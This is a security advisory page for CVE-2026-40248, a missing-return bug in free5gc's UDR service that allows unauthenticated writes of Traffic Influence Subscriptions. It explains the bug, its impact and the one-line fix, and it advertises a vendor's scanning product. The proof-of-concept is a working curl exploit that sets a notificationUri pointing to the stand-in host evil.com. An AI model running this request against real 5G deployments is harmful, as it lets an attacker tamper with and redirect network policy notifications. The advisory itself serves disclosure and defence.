CVE-2026-40248 — udr
CVE-2026-40248 is a CWE-285 vulnerability in github.com/free5gc/udr. No vendor fix is recorded yet; mitigation options are listed below.
free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40248.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/free5gc/udrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details
The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
- The function
HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whetherinfluenceId != "subs-to-notify". - If the value is different, it calls
c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. - Execution continues, the request body is still parsed, and the handler calls
s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub). - The processor creates or updates the subscription identified by
subscriptionIdeven though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.
The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.
PoC
No authentication is required. The attacker can choose an arbitrary subscriptionId.
curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com",
"dnns":["internet"],
"supis":["imsi-999999999999999"]
}'
Response:
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
Now verify that the object was actually written:
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"
Response:
{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
Impact
This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.
This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.
The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/udr | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/udr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/free5gc/udr has shipped for CVE-2026-40248 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40248 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40248. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40248 in your dependencies?
O3 Security finds CVE-2026-40248 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.